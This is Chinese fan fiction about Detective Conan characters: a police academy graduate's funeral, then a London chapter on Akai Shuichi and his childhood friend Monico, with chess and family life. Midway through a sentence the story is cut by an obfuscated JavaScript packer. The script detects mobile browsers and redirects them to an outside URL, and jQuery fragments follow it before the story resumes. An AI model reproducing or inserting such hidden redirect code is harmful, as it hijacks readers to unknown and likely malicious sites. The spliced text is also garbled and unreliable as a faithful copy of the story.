森川和也的葬礼在一个阴沉的上午举行，细雨如尘，将墓园的石碑和松柏洗刷得一片湿冷。空气里满是泥土和湿草的气味。
来的人不算多，稀稀落落地站在新挖的墓穴周围。棺木是普通的黑色，照片是森川和也的入职照，穿着笔挺的制服，脸上带着一点拘谨却干净的笑容，眼神明亮。才二十二岁。
萩原研二站在人群靠前的位置，没打伞，细密的雨珠很快打湿了他深色的西装外套和头发。他脸上没什么表情，既没有惯常的轻快笑容，也没有显见的悲痛，只是微微垂着眼，看着那方黑色的棺木，嘴唇抿成一条僵直的线。有相识的其他部门同事走过来，低声说几句“节哀”，他也只是极轻微地点点头，算是回应。
松田阵平站在他旁边半步远的地方，戴着墨镜，遮住了眼睛。他站得笔直，双手插在口袋里，下颌线绷得很紧。雨水顺着他墨镜的边缘滑下来，像一道浅浅的泪痕。他偶尔会幅度很小地偏一下头，朝向墓园入口的方向。那里空荡荡的，只有被雨打湿的路径和沉默的石碑。
鬼冢教官也来了，穿着旧式的警服，没戴帽子，头发被雨打湿贴在额头上。他站在稍远一些的地方，背着手，脸上是深刻的皱纹。他看着棺木上的警旗，看了很久，然后视线移到那张照片上，嘴唇动了动，最终什么也没说。
你能对一个已经死去的人说什么？
仪式简短而沉闷。主持的警官念着千篇一律的悼词，声音在雨声中显得模糊而遥远。“忠于职守”、“警界的损失”……这些词汇飘散在潮湿的空气里，带着公事公办的冰冷。棺木被缓缓放入墓穴，泥土被一锹一锹地撒上去，落在光亮的木板上，发出沉闷的声响。
萩原研二抬手用力抹了一把脸上的雨水，眼眶红得厉害，但他死死瞪着眼睛，没让里面的东西掉下来。
松田阵平全程看着萩原的动作，墨镜后的眼睛看不清情绪。他忽然开口，声音压得很低，只有萩原能听见：“那小子……怕黑。”
萩原猛地转头看他。
“以前在警校，他随身带着急救包。不止是害怕我们受伤，还因为每次晚上紧急集合，他都会磕到自己。”松田阵平的声音没什么起伏，像是在说一件无关紧要的事，“我说他笨手笨脚，他说不是，是有点夜盲，暗处看不清。”
他停顿了很久，久到又一锹泥土落下，才极轻地补了一句，轻得几乎被雨声吞没：“这下彻底黑了。”
萩原研二的呼吸猛地一窒，别过脸去，肩膀几不可察地颤抖起来。他抬手捂住了嘴，指节用力到发白。
仪式结束了。人们开始三三两两地散去，低声交谈着，走向墓园出口。雨似乎大了一点，打在伞面上噼啪作响。
萩原和松田没动，依旧站在原地。鬼冢教官走过来，在两人面前停下。他看了看松田脸上的墨镜，又看了看萩原通红的眼眶，想说什么，最终只是伸出手，重重地拍了拍两人的肩膀。力道很大，像是要把什么摇摇欲坠的东西拍稳。
“那家伙，”鬼冢教官开口，声音粗哑，“不是个让人省心的学生。成绩偏科，想法有时候也跳脱……但他最后没给警察学校丢人。”
他收回手，又看了一眼那渐渐被泥土掩埋的黑色，摇了摇头，转身一步一步踏着湿滑的路面离开了。
墓边很快只剩下萩原和松田两个人。雨幕将他们与远处模糊的人影隔开，世界仿佛只剩下这一角湿冷的寂静，和眼前这个正在消失的曾经鲜活的同伴。
“他不会喜欢的。”萩原研二忽然说，声音恢复了少许平稳，但带着浓重的鼻音，“这么安静。他大概会希望我们放点吵闹的音乐，几个熟人一起吃顿饭。”
松田阵平没接话。他摘下墨镜，用手指擦了擦镜片上的水雾。
“走吧。”松田重新戴上墨镜，声音冷硬，“待着也没用。他不会跳出来抱怨天气的。”
萩原研二最后深深看了一眼那小小的墓碑——上面只简单刻着名字和生卒年，还有一行“警视厅公安部”的小字。他点了点头，转身，和松田并肩，沉默地走入渐渐沥沥的雨中。
他们谁也没有再提那两个本该在这里、却始终没有出现的人。
雨持续地下着，冲刷着崭新的墓碑，也冲刷着生者心头难以愈合的沟壑。远处城市的天际线灰蒙蒙的，看不真切，像那个已经离去的人的眼睛。
而那双眼睛的主人永远留在了二十二岁这个潮湿的清晨。
【Bad ending】
【404 Not Found】
【评价A：你失去了姓名、面容、记忆与目的，但没关系，这就是死亡】
……
伦敦的雨总是下得漫不经心，仿佛天空也懒得认真对待这个城市。细密的雨丝从灰蒙蒙的天空飘落，在超市橱窗的暖黄灯光外织成一层薄薄的帘幕。赤井秀一提着购物袋从超市走出来时，雨刚好下大了一些。
他停下脚步，从口袋里掏出折叠伞——那是母亲今早塞给他的，说天气预报不准，带着总没错。伞面撑开的瞬间，一个女声从旁边传来：
“需要一起撑吗？我的伞比较大。”
赤井侧过头。说话的是个棕色头发的女孩，看上去和他年纪相仿，手里确实拿着一把明显过大的彩虹条纹雨伞。她的目光在他脸上停留得有点久，嘴角带着试探的微笑。
“不用了，谢谢。”赤井礼貌地回答，抬脚准备离开。
“等等——”女孩快步跟了上来，雨伞倾斜着试图遮住他，“你是附近学校的学生吗？我好像见过你。”
赤井秀一停下脚步，转过身正对着她。他的表情没什么变化。
“抱歉，我已经有女朋友了。”他说，“她叫莫妮卡。”
女孩愣了一下，笑容僵在脸上：“噢……这样啊。不好意思。”
“没关系。”赤井点了点头，转身离开。
他刚走出几步，另一个声音就从超市方向传来，带着明显的戏谑：
“莫妮卡？我什么时候改名叫莫妮卡了，还变了性别？”
赤井秀一不用回头就知道是谁。他停下脚步，等着声音的主人走过来。雨幕中，一个身影小跑着靠近，黑色的卷发在潮湿的空气里微微颤动——那是非常好看的卷发，浓密而富有光泽，即使在伦敦阴郁的天色下也显得生动。
莫尼科·海耶斯跑到他身边，自然地钻到他的伞下。他比赤井矮了半个头，抬头看赤井秀一时，那双深蓝色的眼睛里满是促狭的笑意。
“第几次了？”莫尼科问，一边把手里的小袋子塞进赤井提着的购物袋里，“这个月第三次？还是第四次？”
“第二次。”赤井秀一纠正道，继续往前走。他的伞微微朝莫尼科那边倾斜了些。
“才月中就第二次了。”莫尼科摇摇头，黑色的卷发随着动作轻轻晃动，“Akai，你这样下去会单身一辈子的。每次有人搭讪你就说有女朋友，真的会有人信吗？”
“她信了。”
“那是因为你太认真了。”莫尼科笑着说，“你刚才说莫妮卡的时候，简直像在说今天会下雨一样理所当然。不过说真的，你能不能换个名字？每次都叫莫妮卡，还每次都用我名字的变体，哪天被揭穿了怎么办？”
赤井看了他一眼：“你的名字就叫莫尼科，改个发音不麻烦。”
“是莫尼科，不是莫妮卡。”莫尼科强调，“差两个音节呢。而且你这样说，别人会以为你真的在和某个叫莫妮卡的女孩交往。”
“有区别吗？”赤井秀一问，“反正结果一样——她们不会再纠缠。”
莫尼科沉默了几秒，然后长长地叹了口气：“完了，你真的会单身一辈子。玛丽阿姨知道会担心的。”
两人并肩走在湿漉漉的街道上。雨水敲击伞面的声音规律而轻柔，街灯在积水里投下暖黄色的光斑。这是伦敦西区一条普通的住宅街，红砖建筑整齐排列，大多数窗户里都亮着灯。
他们认识多久了？赤井秀一忽然想到这个问题。确切地说，是从莫尼科六岁、他七岁那年开始的。那时候莫尼科的父母——两位MI6特工——被派往一个长期任务，不得不将儿子托付给好友赤井玛丽照顾。这一托付就是近十年。
最初的日子里，那个黑头发的小男孩总是躲在玛丽阿姨身后，用那双深蓝色的眼睛怯生生地打量着他和秀吉。他不太说话，晚上偶尔会哭，想念父母的哭声压得很低，像是怕给别人添麻烦。
赤井秀一记得有一次，大约是在深夜两点，他起来喝水，发现莫尼科抱着膝盖坐在楼梯上。七岁的他站在楼梯下方，抬头看着这个新来的家人。
“你睡不着？”他问。
莫尼科点点头，没说话。
赤井秀一犹豫了一下，然后走上楼梯，在他旁
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17189139|197044||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
边坐下。两人就这样并排坐着，什么也没说，直到莫尼科小声说：“我想爸爸妈妈了。”
“他们什么时候回来？”赤井问。
“不知道。”
又是沉默。然后赤井秀一站起来：“我去拿棋盘。”
那是他们第一次下国际象棋。在凌晨两点半的厨房里，两个男孩对着棋盘，一盏灯在桌上投下暖黄的光晕。莫尼科赢了那局——后来赤井才知道，他父亲教过他，而那位海耶斯先生曾是大学棋社的冠军。
“将军。”六岁的莫尼科小声说，手指还按在自己的皇后上。
赤井盯着棋盘看了半晌，然后说：“再来一局。”
他们下了三局，莫尼科赢了两局。最后他打了个哈欠，眼睛都快睁不开了。赤井秀一收起棋盘，说：“去睡吧。”
“明天还能下吗？”莫尼科问。
“嗯。”
从那以后，深夜的国际象棋成了某种惯例。有时是赤井赢，有时是莫尼科赢，大多数时候两人都不说话，只听着棋子落在棋盘上的轻响和屋外偶尔传来的汽车声。
“想什么呢？”莫尼科的声音把赤井从回忆里拉回来。
“没什么。”他说，“你今天怎么来超市了？”
“玛丽阿姨让我买黄油，结果看见你在门口被人搭讪。”莫尼科从购物袋里翻出一盒饼干，“顺便买了这个，抹茶味的，你应该喜欢。”
赤井秀一看了一眼饼干盒：“我不喜欢甜食。”
“你上次吃了我一整盒。”
“那是你硬塞的。”
“但你吃完了。”
赤井秀一没有反驳。事实上，他确实不讨厌抹茶味的东西，只是不愿意承认罢了。
又走了一段路，莫尼科忽然说：“其实你可以试着跟别人交往看看。不是每个搭讪的女孩都只是看脸。”
“麻烦。”赤井简洁地回答。
“谈恋爱本来就是麻烦的事啊。”莫尼科说，“但也会有好的部分。”
“比如？”
“比如……有人陪你一起去超市？”他指了指两人共撑的伞，“或者有人记得你喜欢抹茶味的东西。”
赤井秀一沉默了一会儿，然后说：“你已经在做了。”
莫尼科愣了一下，然后笑了：“那不一样，我们是家人。”
这句话他说得自然极了，就像在说今天下雨了一样。赤井没有回应，但伞又朝他那边倾斜了一点。
雨渐渐小了，变成几乎看不见的细丝。街道尽头就是赤井家的房子，二层楼的红砖建筑，窗户里透出温暖的灯光。赤井秀一收起伞，在门口的地垫上碾了碾鞋底。
门从里面打开了。赤井玛丽站在门口，手里拿着毛巾：“正好，晚饭快好了。莫尼科，你妈妈刚才来电话了。”
莫尼科的眼睛亮了起来：“真的？她说什么？”
“说任务进展顺利，可能下个月能回伦敦几天。”玛丽接过购物袋，拍了拍莫尼科的肩膀，“快去洗手，今天做了牧羊人派。”
厨房里飘出食物的香气，景象平常得几乎令人麻木——但赤井秀一知道，这样的平常不会持续太久。母亲已经开始谈论回美国的计划。
莫尼科似乎也察觉到了什么。晚餐时，他比平时安静，只是在玛丽问起学校的事情时才多说几句。他的父母长期在外，赤井家是他最稳定的归处，而如果赤井家离开英国……
“莫尼科。”赤井秀一忽然开口。
“嗯？”
“下周有场国际象棋比赛，中学组的。”
莫尼科抬头看他：“你要参加？”
“我们。”赤井纠正道，“双人赛。”
他的眼睛又亮了起来，那种熟悉的光芒：“真的？可是双人赛需要配合……”
“所以周末练习。”赤井语气平常，“每天两小时，从周六开始。”
玛丽笑了：“太好了，咱们家的棋手要出征了。”
晚餐后，莫尼科主动帮忙洗碗。水流声和碗碟碰撞的声响中，他小声对赤井说：“谢谢你。”
“谢什么？”
“邀请我参加比赛。”他擦干一个盘子，放回橱柜，“还有……所有的事。”
赤井没有回答，只是接过他洗好的下一个盘子，用毛巾擦干。窗外，雨已经完全停了，夜空露出深蓝色的缝隙，像莫尼科的眼睛。